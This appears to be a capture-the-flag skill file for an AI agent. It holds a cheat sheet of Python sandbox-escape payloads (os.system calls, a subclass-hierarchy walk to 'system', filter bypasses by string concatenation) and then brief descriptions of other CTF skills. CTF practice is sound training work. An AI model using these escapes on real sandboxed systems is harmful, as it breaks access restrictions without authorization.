Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Analyzes binary files for vulnerabilities and develops exploits. Use when working with ELF/PE executables, pwn challenges, buffer overflow, heap exploitation, ROP chains, format string bugs, or shellcode development.
Breaks cryptographic systems and decrypts ciphertext. Use when working with RSA, AES, XOR, classical ciphers, hash functions, or when challenge involves encryption, decryption, keys, or mathematical crypto attacks.
Extracts hidden data from files and analyzes forensic artifacts. Use when working with images, memory dumps, disk images, steganography, file carving, or when searching for hidden flags in files.
Reverses and exploits mobile applications. Use when working with Android APK files, iOS IPA files, mobile app reversing, Frida hooking, or app security analysis challenges.
Analyzes network traffic and exploits protocols. Use when working with PCAP files, Wireshark captures, packet analysis, protocol exploitation, traffic forensics, or data exfiltration detection.
Gathers intelligence from public sources. Use when searching for usernames, geolocating images, investigating social media, analyzing domains, or solving information gathering challenges.
